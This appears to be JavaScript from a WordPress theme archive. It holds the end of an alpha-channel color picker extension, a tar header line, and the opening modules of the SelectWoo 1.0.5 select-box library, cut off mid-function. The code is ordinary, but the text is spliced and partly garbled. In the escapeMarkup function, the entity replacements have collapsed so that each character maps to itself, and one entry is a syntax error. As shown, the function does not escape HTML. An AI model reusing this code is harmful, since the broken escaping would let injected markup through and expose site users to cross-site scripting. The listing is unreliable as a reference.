{ color = this.toCSS( type ).replace( /\(\s+/, '(' ).replace( /\s+\)/, ')' ); } return color; } // Register the global variable. window.wpColorPickerAlpha = wpColorPickerAlpha; // Background image encoded var backgroundImage = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg=='; /** * Iris */ $.widget( 'a8c.iris', $.a8c.iris, { /** * Alpha options * * @since 3.0.0 * * @type {Object} */ alphaOptions: { alphaEnabled: false, }, /** * Get the current color or the new color. * * @since 3.0.0 * @access private * * @param {Object|*} The color instance if not defined return the cuurent color. * * @return {string} The element's color. */ _getColor: function( color ) { if ( color === undef ) { color = this._color; } if ( this.alphaOptions.alphaEnabled ) { color = color.to_s( this.alphaOptions.alphaColorType ); if ( ! this.alphaOptions.alphaColorWithSpace ) { color = color.replace( /\s+/g, '' ); } return color; } return color.toString(); }, /** * Create widget * * @since 3.0.0 * @access private * * @return {void} */ _create: function() { try { // Try to get the wpColorPicker alpha options. this.alphaOptions = this.element.wpColorPicker( 'instance' ).alphaOptions; } catch( e ) {} // We make sure there are all options $.extend( {}, this.alphaOptions, { alphaEnabled: false, alphaCustomWidth: 130, alphaReset: false, alphaColorType: 'hex', alphaColorWithSpace: false, } ); this._super(); }, /** * Binds event listeners to the Iris. * * @since 3.0.0 * @access private * * @return {void} */ _addInputListeners: function( input ) { var self = this, debounceTimeout = 100, callback = function( event ){ var val = input.val(), color = new Color( val ), val = val.replace( /^(#|(rgb|hsl)a?)/, '' ), type = self.alphaOptions.alphaColorType; input.removeClass( 'iris-error' ); if ( ! color.error ) { // let's not do this on keyup for hex shortcodes if ( 'hex' !== type || ! ( event.type === 'keyup' && val.match( /^[0-9a-fA-F]{3}$/ ) ) ) { // Compare color ( #AARRGGBB ) if ( color.toIEOctoHex() !== self._color.toIEOctoHex() ) { self._setOption( 'color', self._getColor( color ) ); } } } else if ( val !== '' ) { input.addClass( 'iris-error' ); } }; input.on( 'change', callback ).on( 'keyup', self._debounce( callback, debounceTimeout ) ); // If we initialized hidden, show on first focus. The rest is up to you. if ( self.options.hide ) { input.one( 'focus', function() { self.show(); }); } }, /** * Init Controls * * @since 3.0.0 * @access private * * @return {void} */ _initControls: function() { this._super(); if ( this.alphaOptions.alphaEnabled ) { // Create Alpha controls var self = this, stripAlpha = self.controls.strip.clone(false, false), stripAlphaSlider = stripAlpha.find( '.iris-slider-offset' ), controls = { stripAlpha : stripAlpha, stripAlphaSlider : stripAlphaSlider }; stripAlpha.addClass( 'iris-strip-alpha' ); stripAlphaSlider.addClass( 'iris-slider-offset-alpha' ); stripAlpha.appendTo( self.picker.find( '.iris-picker-inner' ) ); // Push new controls $.each( controls, function( k, v ) { self.controls[k] = v; } ); // Create slider self.controls.stripAlphaSlider.slider( { orientation : 'vertical', min : 0, max : 100, step : 1, value : parseInt( self._color._alpha * 100 ), slide : function( event, ui ) { self.active = 'strip'; // Update alpha value self._color._alpha = parseFloat( ui.value / 100 ); self._change.apply( self, arguments ); } } ); } }, /** * Create the controls sizes * * @since 3.0.0 * @access private * * @param {bool} reset Set to True for recreate the controls sizes. * * @return {void} */ _dimensions: function( reset ) { this._super( reset ); if ( this.alphaOptions.alphaEnabled ) { var self = this, opts = self.options, controls = self.controls, square = controls.square, strip = self.picker.find( '.iris-strip' ), innerWidth, squareWidth, stripWidth, stripMargin, totalWidth; /** * I use Math.round() to avoid possible size errors, * this function returns the value of a number rounded * to the nearest integer. * * The width to append all widgets, * if border is enabled, 22 is subtracted. * 20 for css left and right property * 2 for css border */ innerWidth = Math.round( self.picker.outerWidth( true ) - ( opts.border ? 22 : 0 ) ); // The width of the draggable, aka square. squareWidth = Math.round( square.outerWidth() ); // The width for the sliders stripWidth = Math.round( ( innerWidth - squareWidth ) / 2 ); // The margin for the sliders stripMargin = Math.round( stripWidth / 2 ); // The total width of the elements. totalWidth = Math.round( squareWidth + ( stripWidth * 2 ) + ( stripMargin * 2 ) ); // Check and change if necessary. while ( totalWidth > innerWidth ) { stripWidth = Math.round( stripWidth - 2 ); stripMargin = Math.round( stripMargin - 1 ); totalWidth = Math.round( squareWidth + ( stripWidth * 2 ) + ( stripMargin * 2 ) ); } square.css( 'margin', '0' ); strip.width( stripWidth ).css( 'margin-left', stripMargin + 'px' ); } }, /** * Callback to update the controls and the current color. * * @since 3.0.0 * @access private * * @return {void} */ _change: function() { var self = this, active = self.active; self._super(); if ( self.alphaOptions.alphaEnabled ) { var controls = self.controls, alpha = parseInt( self._color._alpha * 100 ), color = self._color.toRgb(), gradient = [ 'rgb(' + color.r + ',' + color.g + ',' + color.b + ') 0%', 'rgba(' + color.r + ',' + color.g + ',' + color.b + ', 0) 100%' ], target = self.picker.closest( '.wp-picker-container' ).find( '.wp-color-result' ); self.options.color = self._getColor(); // Generate background slider alpha, only for CSS3. controls.stripAlpha.css( { 'background' : 'linear-gradient(to bottom, ' + gradient.join( ', ' ) + '), url(' + backgroundImage + ')' } ); // Update alpha value if ( active ) { controls.stripAlphaSlider.slider( 'value', alpha ); } if ( ! self._color.error ) { self.element.removeClass( 'iris-error' ).val( self.options.color ); } self.picker.find( '.iris-palette-container' ).on( 'click.palette', '.iris-palette', function() { var color = $( this ).data( 'color' ); if ( self.alphaOptions.alphaReset ) { self._color._alpha = 1; color = self._getColor(); } self._setOption( 'color', color ); } ); } }, /** * Paint dimensions. * * @since 3.0.0 * @access private * * @param {string} origin Origin (position). * @param {string} control Type of the control, * * @return {void} */ _paintDimension: function( origin, control ) { var self = this, color = false; // Fix for slider hue opacity. if ( self.alphaOptions.alphaEnabled && 'strip' === control ) { color = self._color; self._color = new Color( color.toString() ); self.hue = self._color.h(); } self._super( origin, control ); // Restore the color after paint. if ( color ) { self._color = color; } }, /** * To update the options, see original source to view the available options. * * @since 3.0.0 * * @param {string} key The Option name. * @param {mixed} value The Option value to update. * * @return {void} */ _setOption: function( key, value ) { var self = this; if ( 'color' === key && self.alphaOptions.alphaEnabled ) { // cast to string in case we have a number value = '' + value; newColor = new Color( value ).setHSpace( self.options.mode ); // Check if error && Check the color to prevent callbacks with the same color. if ( ! newColor.error && self._getColor( newColor ) !== self._getColor() ) { self._color = newColor; self.options.color = self._getColor(); self.active = 'external'; self._change(); } } else { return self._super( key, value ); } }, /** * Returns the iris object if no new color is provided. If a new color is provided, it sets the new color. * * @param newColor {string|*} The new color to use. Can be undefined. * * @since 3.0.0 * * @return {string} The element's color. */ color: function( newColor ) { if ( newColor === true ) { return this._color.clone(); } if ( newColor === undef ) { return this._getColor(); } this.option( 'color', newColor ); }, } ); /** * wpColorPicker */ $.widget( 'wp.wpColorPicker', $.wp.wpColorPicker, { /** * Alpha options * * @since 3.0.0 * * @type {Object} */ alphaOptions: { alphaEnabled: false, }, /** * Get the alpha options. * * @since 3.0.0 * @access private * * @return {object} The current alpha options. */ _getAlphaOptions: function() { var el = this.element, type = ( el.data( 'type' ) || this.options.type ), color = ( el.data( 'defaultColor' ) || el.val() ), options = { alphaEnabled: ( el.data( 'alphaEnabled' ) || false ), alphaCustomWidth: 130, alphaReset: false, alphaColorType: 'rgb', alphaColorWithSpace: false, }; if ( options.alphaEnabled ) { options.alphaEnabled = ( el.is( 'input' ) && 'full' === type ); } if ( ! options.alphaEnabled ) { return options; } options.alphaColorWithSpace = ( color && color.match( /\s/ ) ); $.each( options, function( name, defaultValue ) { var value = ( el.data( name ) || defaultValue ); switch ( name ) { case 'alphaCustomWidth': value = ( value ? parseInt( value, 10 ) : 0 ); value = ( isNaN( value ) ? defaultValue : value ); break; case 'alphaColorType': if ( ! value.match( /^(hex|(rgb|hsl)a?)$/ ) ) { if ( color && color.match( /^#/ ) ) { value = 'hex'; } else if ( color && color.match( /^hsla?/ ) ) { value = 'hsl'; } else { value = defaultValue; } } break; default: value = !!value; break; } options[name] = value; } ); return options; }, /** * Create widget * * @since 3.0.0 * @access private * * @return {void} */ _create: function() { // Return early if Iris support is missing. if ( ! $.support.iris ) { return; } // Set the alpha options for the current instance. this.alphaOptions = this._getAlphaOptions(); // Create widget. this._super(); }, /** * Binds event listeners to the color picker and create options, etc... * * @since 3.0.0 * @access private * * @return {void} */ _addListeners: function() { if ( ! this.alphaOptions.alphaEnabled ) { return this._super(); } var self = this, el = self.element, isDeprecated = self.toggler.is( 'a' ); this.alphaOptions.defaultWidth = el.width(); if ( this.alphaOptions.alphaCustomWidth ) { el.width( parseInt( this.alphaOptions.defaultWidth + this.alphaOptions.alphaCustomWidth, 10 ) ); } self.toggler.css( { 'position': 'relative', 'background-image' : 'url(' + backgroundImage + ')' } ); if ( isDeprecated ) { self.toggler.html( '<span class="color-alpha" />' ); } else { self.toggler.append( '<span class="color-alpha" />' ); } self.colorAlpha = self.toggler.find( 'span.color-alpha' ).css( { 'width' : '30px', 'height' : '100%', 'position' : 'absolute', 'top' : 0, 'background-color' : el.val(), } ); // Define the correct position for ltr or rtl direction. if ( 'ltr' === self.colorAlpha.css( 'direction' ) ) { self.colorAlpha.css( { 'border-bottom-left-radius' : '2px', 'border-top-left-radius' : '2px', 'left' : 0 } ); } else { self.colorAlpha.css( { 'border-bottom-right-radius' : '2px', 'border-top-right-radius' : '2px', 'right' : 0 } ); } el.iris( { /** * @summary Handles the onChange event if one has been defined in the options. * * Handles the onChange event if one has been defined in the options and additionally * sets the background color for the toggler element. * * @since 3.0.0 * * @param {Event} event The event that's being called. * @param {HTMLElement} ui The HTMLElement containing the color picker. * * @returns {void} */ change: function( event, ui ) { self.colorAlpha.css( { 'background-color': ui.color.to_s( self.alphaOptions.alphaColorType ) } ); // fire change callback if we have one if ( $.isFunction( self.options.change ) ) { self.options.change.call( this, event, ui ); } } } ); /** * Prevent any clicks inside this widget from leaking to the top and closing it. * * @since 3.0.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.wrap.on( 'click.wpcolorpicker', function( event ) { event.stopPropagation(); }); /** * Open or close the color picker depending on the class. * * @since 3.0.0 */ self.toggler.click( function() { if ( self.toggler.hasClass( 'wp-picker-open' ) ) { self.close(); } else { self.open(); } }); /** * Checks if value is empty when changing the color in the color picker. * If so, the background color is cleared. * * @since 3.0.0 * * @param {Event} event The event that's being called. * * @return {void} */ el.change( function( event ) { var val = $( this ).val(); if ( el.hasClass( 'iris-error' ) || val === '' || val.match( /^(#|(rgb|hsl)a?)$/ ) ) { if ( isDeprecated ) { self.toggler.removeAttr( 'style' ); } self.colorAlpha.css( 'background-color', '' ); // fire clear callback if we have one if ( $.isFunction( self.options.clear ) ) { self.options.clear.call( this, event ); } } } ); /** * Enables the user to either clear the color in the color picker or revert back to the default color. * * @since 3.0.0 * * @param {Event} event The event that's being called. * * @return {void} */ self.button.click( function( event ) { if ( $( this ).hasClass( 'wp-picker-default' ) ) { el.val( self.options.defaultColor ).change(); } else if ( $( this ).hasClass( 'wp-picker-clear' ) ) { el.val( '' ); if ( isDeprecated ) { self.toggler.removeAttr( 'style' ); } self.colorAlpha.css( 'background-color', '' ); // fire clear callback if we have one if ( $.isFunction( self.options.clear ) ) { self.options.clear.call( this, event ); } el.trigger( 'change' ); } } ); }, } ); } ( jQuery ) );core/custom-controls/assets/js/selectWoo.js000066600000454140152367043330015111 0ustar00/*! * SelectWoo 1.0.5 * https://github.com/woocommerce/selectWoo * * Released under the MIT license * https://github.com/woocommerce/selectWoo/blob/master/LICENSE.md */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function (root, jQuery) { if (jQuery === undefined) { // require('jQuery') returns a factory that requires window to // build a jQuery instance, we normalize how we use modules // that require this pattern but the window provided is a noop // if it's defined (how jquery works) if (typeof window !== 'undefined') { jQuery = require('jquery'); } else { jQuery = require('jquery')(root); } } factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } } (function (jQuery) { // This is needed so we can catch the AMD loader configuration and use it // The inner file should be wrapped (by `banner.start.js`) in a function that // returns the AMD loader references. var S2 =(function () { // Restore the Select2 AMD loader so it can be used // Needed mostly in the language files, where the loader is not inserted if (jQuery && jQuery.fn && jQuery.fn.select2 && jQuery.fn.select2.amd) { var S2 = jQuery.fn.select2.amd; } var S2;(function () { if (!S2 || !S2.requirejs) { if (!S2) { S2 = {}; } else { require = S2; } /** * @license almond 0.3.3 Copyright jQuery Foundation and other contributors. * Released under MIT license, http://github.com/requirejs/almond/LICENSE */ //Going sloppy to avoid 'use strict' string cost, but strict practices should //be followed. /*global setTimeout: false */ var requirejs, require, define; (function (undef) { var main, req, makeMap, handlers, defined = {}, waiting = {}, config = {}, defining = {}, hasOwn = Object.prototype.hasOwnProperty, aps = [].slice, jsSuffixRegExp = /\.js$/; function hasProp(obj, prop) { return hasOwn.call(obj, prop); } /** * Given a relative module name, like ./something, normalize it to * a real name that can be mapped to a path. * @param {String} name the relative name * @param {String} baseName a real name that the name arg is relative * to. * @returns {String} normalized name */ function normalize(name, baseName) { var nameParts, nameSegment, mapValue, foundMap, lastIndex, foundI, foundStarMap, starI, i, j, part, normalizedBaseParts, baseParts = baseName && baseName.split("/"), map = config.map, starMap = (map && map['*']) || {}; //Adjust any relative paths. if (name) { name = name.split('/'); lastIndex = name.length - 1; // If wanting node ID compatibility, strip .js from end // of IDs. Have to do this here, and not in nameToUrl // because node allows either .js or non .js to map // to same file. if (config.nodeIdCompat && jsSuffixRegExp.test(name[lastIndex])) { name[lastIndex] = name[lastIndex].replace(jsSuffixRegExp, ''); } // Starts with a '.' so need the baseName if (name[0].charAt(0) === '.' && baseParts) { //Convert baseName to array, and lop off the last part, //so that . matches that 'directory' and not name of the baseName's //module. For instance, baseName of 'one/two/three', maps to //'one/two/three.js', but we want the directory, 'one/two' for //this normalization. normalizedBaseParts = baseParts.slice(0, baseParts.length - 1); name = normalizedBaseParts.concat(name); } //start trimDots for (i = 0; i < name.length; i++) { part = name[i]; if (part === '.') { name.splice(i, 1); i -= 1; } else if (part === '..') { // If at the start, or previous value is still .., // keep them so that when converted to a path it may // still work when converted to a path, even though // as an ID it is less than ideal. In larger point // releases, may be better to just kick out an error. if (i === 0 || (i === 1 && name[2] === '..') || name[i - 1] === '..') { continue; } else if (i > 0) { name.splice(i - 1, 2); i -= 2; } } } //end trimDots name = name.join('/'); } //Apply map config if available. if ((baseParts || starMap) && map) { nameParts = name.split('/'); for (i = nameParts.length; i > 0; i -= 1) { nameSegment = nameParts.slice(0, i).join("/"); if (baseParts) { //Find the longest baseName segment match in the config. //So, do joins on the biggest to smallest lengths of baseParts. for (j = baseParts.length; j > 0; j -= 1) { mapValue = map[baseParts.slice(0, j).join('/')]; //baseName segment has config, find if it has one for //this name. if (mapValue) { mapValue = mapValue[nameSegment]; if (mapValue) { //Match, update name to the new value. foundMap = mapValue; foundI = i; break; } } } } if (foundMap) { break; } //Check for a star map match, but just hold on to it, //if there is a shorter segment match later in a matching //config, then favor over this star map. if (!foundStarMap && starMap && starMap[nameSegment]) { foundStarMap = starMap[nameSegment]; starI = i; } } if (!foundMap && foundStarMap) { foundMap = foundStarMap; foundI = starI; } if (foundMap) { nameParts.splice(0, foundI, foundMap); name = nameParts.join('/'); } } return name; } function makeRequire(relName, forceSync) { return function () { //A version of a require function that passes a moduleName //value for items that may need to //look up paths relative to the moduleName var args = aps.call(arguments, 0); //If first arg is not require('string'), and there is only //one arg, it is the array form without a callback. Insert //a null so that the following concat is correct. if (typeof args[0] !== 'string' && args.length === 1) { args.push(null); } return req.apply(undef, args.concat([relName, forceSync])); }; } function makeNormalize(relName) { return function (name) { return normalize(name, relName); }; } function makeLoad(depName) { return function (value) { defined[depName] = value; }; } function callDep(name) { if (hasProp(waiting, name)) { var args = waiting[name]; delete waiting[name]; defining[name] = true; main.apply(undef, args); } if (!hasProp(defined, name) && !hasProp(defining, name)) { throw new Error('No ' + name); } return defined[name]; } //Turns a plugin!resource to [plugin, resource] //with the plugin being undefined if the name //did not have a plugin prefix. function splitPrefix(name) { var prefix, index = name ? name.indexOf('!') : -1; if (index > -1) { prefix = name.substring(0, index); name = name.substring(index + 1, name.length); } return [prefix, name]; } //Creates a parts array for a relName where first part is plugin ID, //second part is resource ID. Assumes relName has already been normalized. function makeRelParts(relName) { return relName ? splitPrefix(relName) : []; } /** * Makes a name map, normalizing the name, and using a plugin * for normalization if necessary. Grabs a ref to plugin * too, as an optimization. */ makeMap = function (name, relParts) { var plugin, parts = splitPrefix(name), prefix = parts[0], relResourceName = relParts[1]; name = parts[1]; if (prefix) { prefix = normalize(prefix, relResourceName); plugin = callDep(prefix); } //Normalize according if (prefix) { if (plugin && plugin.normalize) { name = plugin.normalize(name, makeNormalize(relResourceName)); } else { name = normalize(name, relResourceName); } } else { name = normalize(name, relResourceName); parts = splitPrefix(name); prefix = parts[0]; name = parts[1]; if (prefix) { plugin = callDep(prefix); } } //Using ridiculous property names for space reasons return { f: prefix ? prefix + '!' + name : name, //fullName n: name, pr: prefix, p: plugin }; }; function makeConfig(name) { return function () { return (config && config.config && config.config[name]) || {}; }; } handlers = { require: function (name) { return makeRequire(name); }, exports: function (name) { var e = defined[name]; if (typeof e !== 'undefined') { return e; } else { return (defined[name] = {}); } }, module: function (name) { return { id: name, uri: '', exports: defined[name], config: makeConfig(name) }; } }; main = function (name, deps, callback, relName) { var cjsModule, depName, ret, map, i, relParts, args = [], callbackType = typeof callback, usingExports; //Use name if no relName relName = relName || name; relParts = makeRelParts(relName); //Call the callback to define the module, if necessary. if (callbackType === 'undefined' || callbackType === 'function') { //Pull out the defined dependencies and pass the ordered //values to the callback. //Default to [require, exports, module] if no deps deps = !deps.length && callback.length ? ['require', 'exports', 'module'] : deps; for (i = 0; i < deps.length; i += 1) { map = makeMap(deps[i], relParts); depName = map.f; //Fast path CommonJS standard dependencies. if (depName === "require") { args[i] = handlers.require(name); } else if (depName === "exports") { //CommonJS module spec 1.1 args[i] = handlers.exports(name); usingExports = true; } else if (depName === "module") { //CommonJS module spec 1.1 cjsModule = args[i] = handlers.module(name); } else if (hasProp(defined, depName) || hasProp(waiting, depName) || hasProp(defining, depName)) { args[i] = callDep(depName); } else if (map.p) { map.p.load(map.n, makeRequire(relName, true), makeLoad(depName), {}); args[i] = defined[depName]; } else { throw new Error(name + ' missing ' + depName); } } ret = callback ? callback.apply(defined[name], args) : undefined; if (name) { //If setting exports via "module" is in play, //favor that over return value and exports. After that, //favor a non-undefined return value over exports use. if (cjsModule && cjsModule.exports !== undef && cjsModule.exports !== defined[name]) { defined[name] = cjsModule.exports; } else if (ret !== undef || !usingExports) { //Use the return value from the function. defined[name] = ret; } } } else if (name) { //May just be an object definition for the module. Only //worry about defining if have a module name. defined[name] = callback; } }; requirejs = require = req = function (deps, callback, relName, forceSync, alt) { if (typeof deps === "string") { if (handlers[deps]) { //callback in this case is really relName return handlers[deps](callback); } //Just return the module wanted. In this scenario, the //deps arg is the module name, and second arg (if passed) //is just the relName. //Normalize module name, if it contains . or .. return callDep(makeMap(deps, makeRelParts(callback)).f); } else if (!deps.splice) { //deps is a config object, not an array. config = deps; if (config.deps) { req(config.deps, config.callback); } if (!callback) { return; } if (callback.splice) { //callback is an array, which means it is a dependency list. //Adjust args if there are dependencies deps = callback; callback = relName; relName = null; } else { deps = undef; } } //Support require(['a']) callback = callback || function () {}; //If relName is a function, it is an errback handler, //so remove it. if (typeof relName === 'function') { relName = forceSync; forceSync = alt; } //Simulate async callback; if (forceSync) { main(undef, deps, callback, relName); } else { //Using a non-zero value because of concern for what old browsers //do, and latest browsers "upgrade" to 4 if lower value is used: //http://www.whatwg.org/specs/web-apps/current-work/multipage/timers.html#dom-windowtimers-settimeout: //If want a value immediately, use require('id') instead -- something //that works in almond on the global level, but not guaranteed and //unlikely to work in other AMD implementations. setTimeout(function () { main(undef, deps, callback, relName); }, 4); } return req; }; /** * Just drops the config on the floor, but returns req in case * the config return value is used. */ req.config = function (cfg) { return req(cfg); }; /** * Expose module registry for debugging and tooling */ requirejs._defined = defined; define = function (name, deps, callback) { if (typeof name !== 'string') { throw new Error('See almond README: incorrect module build, no module name'); } //This module may not have dependencies if (!deps.splice) { //deps is not an array, so probably means //an object literal or factory function for //the value. Adjust args. callback = deps; deps = []; } if (!hasProp(defined, name) && !hasProp(waiting, name)) { waiting[name] = [name, deps, callback]; } }; define.amd = { jQuery: true }; }()); S2.requirejs = requirejs;S2.require = require;S2.define = define; } }()); S2.define("almond", function(){}); /* global jQuery:false, $:false */ S2.define('jquery',[],function () { var _$ = jQuery || $; if (_$ == null && console && console.error) { console.error( 'Select2: An instance of jQuery or a jQuery-compatible library was not ' + 'found. Make sure that you are including jQuery before Select2 on your ' + 'web page.' ); } return _$; }); S2.define('select2/utils',[ 'jquery' ], function ($) { var Utils = {}; Utils.Extend = function (ChildClass, SuperClass) { var __hasProp = {}.hasOwnProperty; function BaseConstructor () { this.constructor = ChildClass; } for (var key in SuperClass) { if (__hasProp.call(SuperClass, key)) { ChildClass[key] = SuperClass[key]; } } BaseConstructor.prototype = SuperClass.prototype; ChildClass.prototype = new BaseConstructor(); ChildClass.__super__ = SuperClass.prototype; return ChildClass; }; function getMethods (theClass) { var proto = theClass.prototype; var methods = []; for (var methodName in proto) { var m = proto[methodName]; if (typeof m !== 'function') { continue; } if (methodName === 'constructor') { continue; } methods.push(methodName); } return methods; } Utils.Decorate = function (SuperClass, DecoratorClass) { var decoratedMethods = getMethods(DecoratorClass); var superMethods = getMethods(SuperClass); function DecoratedClass () { var unshift = Array.prototype.unshift; var argCount = DecoratorClass.prototype.constructor.length; var calledConstructor = SuperClass.prototype.constructor; if (argCount > 0) { unshift.call(arguments, SuperClass.prototype.constructor); calledConstructor = DecoratorClass.prototype.constructor; } calledConstructor.apply(this, arguments); } DecoratorClass.displayName = SuperClass.displayName; function ctr () { this.constructor = DecoratedClass; } DecoratedClass.prototype = new ctr(); for (var m = 0; m < superMethods.length; m++) { var superMethod = superMethods[m]; DecoratedClass.prototype[superMethod] = SuperClass.prototype[superMethod]; } var calledMethod = function (methodName) { // Stub out the original method if it's not decorating an actual method var originalMethod = function () {}; if (methodName in DecoratedClass.prototype) { originalMethod = DecoratedClass.prototype[methodName]; } var decoratedMethod = DecoratorClass.prototype[methodName]; return function () { var unshift = Array.prototype.unshift; unshift.call(arguments, originalMethod); return decoratedMethod.apply(this, arguments); }; }; for (var d = 0; d < decoratedMethods.length; d++) { var decoratedMethod = decoratedMethods[d]; DecoratedClass.prototype[decoratedMethod] = calledMethod(decoratedMethod); } return DecoratedClass; }; var Observable = function () { this.listeners = {}; }; Observable.prototype.on = function (event, callback) { this.listeners = this.listeners || {}; if (event in this.listeners) { this.listeners[event].push(callback); } else { this.listeners[event] = [callback]; } }; Observable.prototype.trigger = function (event) { var slice = Array.prototype.slice; var params = slice.call(arguments, 1); this.listeners = this.listeners || {}; // Params should always come in as an array if (params == null) { params = []; } // If there are no arguments to the event, use a temporary object if (params.length === 0) { params.push({}); } // Set the `_type` of the first object to the event params[0]._type = event; if (event in this.listeners) { this.invoke(this.listeners[event], slice.call(arguments, 1)); } if ('*' in this.listeners) { this.invoke(this.listeners['*'], arguments); } }; Observable.prototype.invoke = function (listeners, params) { for (var i = 0, len = listeners.length; i < len; i++) { listeners[i].apply(this, params); } }; Utils.Observable = Observable; Utils.generateChars = function (length) { var chars = ''; for (var i = 0; i < length; i++) { var randomChar = Math.floor(Math.random() * 36); chars += randomChar.toString(36); } return chars; }; Utils.bind = function (func, context) { return function () { func.apply(context, arguments); }; }; Utils._convertData = function (data) { for (var originalKey in data) { var keys = originalKey.split('-'); var dataLevel = data; if (keys.length === 1) { continue; } for (var k = 0; k < keys.length; k++) { var key = keys[k]; // Lowercase the first letter // By default, dash-separated becomes camelCase key = key.substring(0, 1).toLowerCase() + key.substring(1); if (!(key in dataLevel)) { dataLevel[key] = {}; } if (k == keys.length - 1) { dataLevel[key] = data[originalKey]; } dataLevel = dataLevel[key]; } delete data[originalKey]; } return data; }; Utils.hasScroll = function (index, el) { // Adapted from the function created by @ShadowScripter // and adapted by @BillBarry on the Stack Exchange Code Review website. // The original code can be found at // http://codereview.stackexchange.com/q/13338 // and was designed to be used with the Sizzle selector engine. var $el = $(el); var overflowX = el.style.overflowX; var overflowY = el.style.overflowY; //Check both x and y declarations if (overflowX === overflowY && (overflowY === 'hidden' || overflowY === 'visible')) { return false; } if (overflowX === 'scroll' || overflowY === 'scroll') { return true; } return ($el.innerHeight() < el.scrollHeight || $el.innerWidth() < el.scrollWidth); }; Utils.escapeMarkup = function (markup) { var replaceMap = { '\\': '\', '&': '&', '<': '<', '>': '>', '"': '"', '\'': ''', '/': '/' }; // Do not try to escape the markup if it's not a string if (typeof markup !== 'string') { return markup; } return String(markup).replace(/[&<>"'\/\\]/g, function (match) { return replaceMap[match]; }); }; // Append an array of jQuery nodes to a given element. Utils.appendMany = function ($element, $nodes) { // jQuery 1.7.x does not support $.fn.append() with an array // Fall back to a jQuery object collection using $.fn.add() if ($.fn.jquery.substr(0, 3) === '1.7') { var $jqNodes = $(); $.map($nodes, function (node) { $jqNodes = $jqNodes.add(node); }); $nodes = $jqNodes; } $element.append($nodes); }; // Determine whether the browser is on a touchscreen device. Utils.isTouchscreen = function() { if ('undefined' === typeof Utils._isTouchscreenCache) { Utils._isTouchscreenCache = 'ontouchstart' in document.documentElement; } return Utils._isTouchscreenCache; } return Utils; }); S2.define('select2/results',[ 'jquery', './utils' ], function ($, Utils) { function Results ($element, options, dataAdapter) { this.$element = $element; this.data = dataAdapter; this.options = options; Results.__super__.constructor.call(this); } Utils.Extend(Results, Utils.Observable); Results.prototype.render = function () { var $results = $( '<ul class="select2-results__options" role="listbox" tabindex="-1"></ul>' ); if (this.options.get('multiple')) { $results.attr('aria-multiselectable', 'true'); } this.$results = $results; return $results; }; Results.prototype.clear = function () { this.$results.empty(); }; Results.prototype.displayMessage = function (params) { var escapeMarkup = this.options.get('escapeMarkup'); this.clear(); this.hideLoading(); var $message = $( '<li role="alert" aria-live="assertive"' + ' class="select2-results__option"></li>' ); var message = this.options.get('translations').get(params.message); $message.append( escapeMarkup( message(params.args) ) ); $message[0].className += ' select2-results__message'; this.$results.append($message); }; Results.prototype.hideMessages = function () { this.$results.find('.select2-results__message').remove(); }; Results.prototype.append = function (data) { this.hideLoading(); var $options = []; if (data.results == null || data.results.length === 0) { if (this.$results.children().length === 0) { this.trigger('results:message', { message: 'noResults' }); } return; } data.results = this.sort(data.results); for (var d = 0; d < data.results.length; d++) { var item = data.results[d]; var $option = this.option(item); $options.push($option); } this.$results.append($options); }; Results.prototype.position = function ($results, $dropdown) { var $resultsContainer = $dropdown.find('.select2-results'); $resultsContainer.append($results); }; Results.prototype.sort = function (data) { var sorter = this.options.get('sorter'); return sorter(data); }; Results.prototype.highlightFirstItem = function () { var $options = this.$results .find('.select2-results__option[data-selected]'); var $selected = $options.filter('[data-selected=true]'); // Check if there are any selected options if ($selected.length > 0) { // If there are selected options, highlight the first $selected.first().trigger('mouseenter'); } else { // If there are no selected options, highlight the first option // in the dropdown $options.first().trigger('mouseenter'); } this.ensureHighlightVisible(); }; Results.prototype.setClasses = function () { var self = this; this.data.current(function (selected) { var selectedIds = $.map(selected, function (s) { return s.id.toString(); }); var $options = self.$results .find('.select2-results__option[data-selected]'); $options.each(function () { var $option = $(this); var item = $.data(this, 'data'); // id needs to be converted to a string when comparing var id = '' + item.id; if ((item.element != null && item.element.selected) || (item.element == null && $.inArray(id, selectedIds) > -1)) { $option.attr('data-selected', 'true'); } else { $option.attr('data-selected', 'false'); } }); }); }; Results.prototype.showLoading = function (params) { this.hideLoading(); var loadingMore = this.options.get('translations').get('searching'); var loading = { disabled: true, loading: true, text: loadingMore(params) }; var $loading = this.option(loading); $loading.className += ' loading-results'; this.$results.prepend($loading); }; Results.prototype.hideLoading = function () { this.$results.find('.loading-results').remove(); }; Results.prototype.option = function (data) { var option = document.createElement('li'); option.className = 'select2-results__option'; var attrs = { 'role': 'option', 'data-selected': 'false', 'tabindex': -1 }; if (data.disabled) { delete attrs['data-selected']; attrs['aria-disabled'] = 'true'; } if (data.id == null) { delete attrs['data-selected']; } if (data._resultId != null) { option.id = data._resultId; } if (data.title) { option.title = data.title; } if (data.children) { attrs['aria-label'] = data.text; delete attrs['data-selected']; } for (var attr in attrs) { var val = attrs[attr]; option.setAttribute(attr, val); } if (data.children) { var $option = $(option); var label = document.createElement('strong'); label.className = 'select2-results__group'; var $label = $(label); this.template(data, label); $label.attr('role', 'presentation'); var $children = []; for (var c = 0; c < data.children.length; c++) { var child = data.children[c]; var $child = this.option(child); $children.push($child); } var $childrenContainer = $('<ul></ul>', { 'class': 'select2-results__options select2-results__options--nested', 'role': 'listbox' }); $childrenContainer.append($children); $option.attr('role', 'list'); $option.append(label); $option.append($childrenContainer); } else { this.template(data, option); } $.data(option, 'data', data); return option; }; Results.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-results'; this.$results.attr('id', id); container.on('results:all', function (params) { self.clear(); self.append(params.data); if (container.isOpen()) { self.setClasses(); self.highlightFirstItem(); } }); container.on('results:append', function (params) { self.append(params.data); if (container.isOpen()) { self.setClasses(); } }); container.on('query', function (params) { self.hideMessages(); self.showLoading(params); }); container.on('select', function () { if (!container.isOpen()) { return; } self.setClasses(); 